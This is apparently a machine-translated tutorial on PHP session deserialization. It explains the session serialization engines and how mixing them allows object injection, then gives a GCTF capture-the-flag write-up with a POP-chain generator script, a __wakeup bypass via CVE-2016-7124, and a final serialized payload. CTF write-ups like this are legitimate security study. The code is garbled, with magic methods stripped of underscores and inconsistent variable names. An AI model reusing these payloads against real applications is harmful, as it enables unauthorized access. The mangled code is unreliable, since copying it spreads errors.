This article mainly introduces the PHP session deserialization vulnerability problem, the need for friends can refer to the following
There are three configuration items in php.ini:
Session.save_path= "" --set the session's storage path session.save_handler= ""--set the user-defined storage function, if you want to use the PHP built-in session storage mechanism can use this function ( Database, etc.) Session.auto_start Boolen--Specifies whether the session module starts a session at the start of the request, the default is 0 does not start Session.serialize_handler string-- Defines the name of the processor used for serialization/deserialization. Use PHP by default
The options above are those related to session storage and sequence session storage in PHP.
In the installation of the XAMPP component, the configuration items described above are set as follows:
Session.save_path= "D:\xampp\tmp" indicates that all session files are stored under xampp/tmp session.save_handler=files Indicates that the session is stored as a file session.auto_start=0 indicates that the default does not start sessionsession.serialize_handler=php Indicates that the default sequence session engine for the session is using the PHP sequence session engine
In the above configuration, Session.serialize_handler is used to set the session engine of the sequence, in addition to the default PHP engine, there are other engines, different engines corresponding to the session is stored differently.
Php_binary: Stored by the length of the key name corresponding to the ASCII character + key name + after the Serialize () function serialization processing value
PHP: Stored by, key name + vertical bar + after serialize () function sequence processing value
Php_serialize (php>5.5.4): stored by the value of the Serialize () function serialization process
PHP is used by default PHP engine, if you want to modify the other engine, only need to add code ini_set (' Session.serialize_handler ', ' need to set the engine '); The sample code is as follows:
The Session Directory is in/var/lib/php/sessions.
<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session[' name '] = ' spoock '; var_ Dump ($_session);
Under the Php_serialize engine, the data stored in the session file is:
A:1:{s:4: "Name"; s:6: "Spoock";}
The contents of the file under the PHP engine are:
Name|s:6: "Spoock";
The contents of the file under the Php_binary engine are:
Names:6: "Spoock";
Because the length of name is EOT in the ASCII table. According to php_binary storage rules, the last is names:6: "Spoock";. (Suddenly found that the ASCII value of 4 characters can not be displayed on the page, this is to check the ASCII table yourself)
The serialization hazard in PHP session
The implementation of the session in PHP is not a problem, the harm is mainly due to improper use of the programmer's session.
If the engine used by PHP in deserializing the stored $_session data is not the same as the engine used for serialization, it will cause the data to be deserialized incorrectly. With well-constructed packets, you can bypass the validation of the program or implement some system methods. For example:
$_session[' ryat ' = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} ';
PHP files such as:
<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session[' ryat '] = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} ';
After accessing the session file, the contents are as follows:
Root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4: "Ryat"; s:30: "| O:1: "A": 1:{s:1: "a"; S:2: "XX";
But at this point the simulation on other pages using a different PHP engine to read the content is as follows: (by default, the PHP engine to read the session file)
<?php#ini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); #$_session[' ryat '] = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} '; Class A {public $a = ' AA '; function Wakeup () { echo $this->a; }} Var_dump ($_session);
Access this page output xx
Xxarray (1) {["A:1:{s:4:" Ryat "; s:30:" "]=> object (a) #1 (1) { [" a "]=> string (2)" XX "}}
This is because when using the PHP engine, the PHP engine will use | As the delimiter of key and value, then will be a:1:{s:4: "Ryat", s:30: "As the session key, will o:1:" A ": 1:{s:1:" a "; S:2:" xx ";} As value, then deserialize, and finally get the Class A.
This is the reason why the PHP session sequence is vulnerable because of the different engines used for serialization and deserialization. Vulnerability when loading a page that uses the PHP engine, the session reads the contents of the session and deserializes it, causing the vulnerability to be triggered without any output
GCTF on a session deserialization vulnerability analysis:
The contents of the index.php are:
<?php//error_reporting (E_error & ~e_notice); Ini_set (' Session.serialize_handler ', ' php_serialize '); Header (" Content-type;text/html;charset=utf-8 "); Session_Start (), if (isset ($_get[' src")) { $_session[' src '] = $_get[' Src ']; Highlight_file (file); Print_r ($_session[' src ');}? ><! DOCTYPE html>
In PHP, serialization operations are often used to access data, but in the process of serialization there are some security implications if improperly handled.
<form action= "./query.php" method= "POST" > <input type= "text" name= "Ticket"/> <input type= " Submit "/></form><a href="./?src=1 "> View source </a></body>
The content in query.php is:
/************************//*//query.php part Code session_start (); header (' Look Me : Edit by Vim ~0~ ')//......class topa{public $token; Public $ticket; public $username; Public $password; function login () {//if ($this->username = = $USERNAME && $this->password = = $PASSWORD) {//sorry $this->u Sername = = ' aaaaaaaaaaaaaaaaa ' && $this->password = = ' bbbbbbbbbbbbbbbbbb ') {return ' key is:{'. $this->tok En. '} '; }}}class topb{public $obj; Public $attr; function construct () {$this->attr = null; $this->obj = null; } function ToString () {$this->obj = unserialize ($this->attr); $this->obj->token = $FLAG; if ($this->obj->token = = = $this->obj->ticket) {return (string) $this->obj; }}}class topc{public $obj; Public $attr; function Wakeup () {$this->attr = null; $this->obj = null; } function destruct () {echo $this->attr; }}*/
Ideas are as follows:
In this problem we construct a topc, which is called when the destruction occurs echo $this->attr;
;
Assigns the attr to the TOPB object, which automatically calls the ToString Magic method when the Echo TOPB
It is called in ToString unserialize($this->attr)
because the token and ticket are used later, so obviously the Topa object. The subsequent judgment is required $this->obj->token === $this->obj->ticket
, so a pointer reference is made at the time of serialization to $a->ticket = &$a->token;
bypass the judgment.
As for why the (string)$this->obj
flag is output, background write login may be ToString bar.
Where there will be a wakeup () function in the deserialization string to empty the parameters inside, I ask can be bypassed by a CVE: cve-2016-7124. You can bypass the wakeup function by changing the number of fields represented in object to a value larger than the actual field.
The final code is:
$testa = new Topa (); $TESTC = new TOPC (); $testb = new TOPB (); $testa->username = 0; $testa->password = 0; $testa->tic Ket = & $testa->token; $sa = serialize ($testa); $TESTC->attr = $testb; $testb->attr = $sa; $test = Serialize ($ TESTC); Echo $test;
The final payload are:
| O:4: "TOPC": 3:{s:3: "obj"; N;s:4: "attr"; O:4: "TOPB": 2:{s:3: "obj"; N;s:4: "attr"; s:84: "O:4: Topa": 4:{s:5: "token"; N;s:6: "Ticket"; R:2;s:8: "username"; I:0;s:8: "Password"; i:0;} ";}}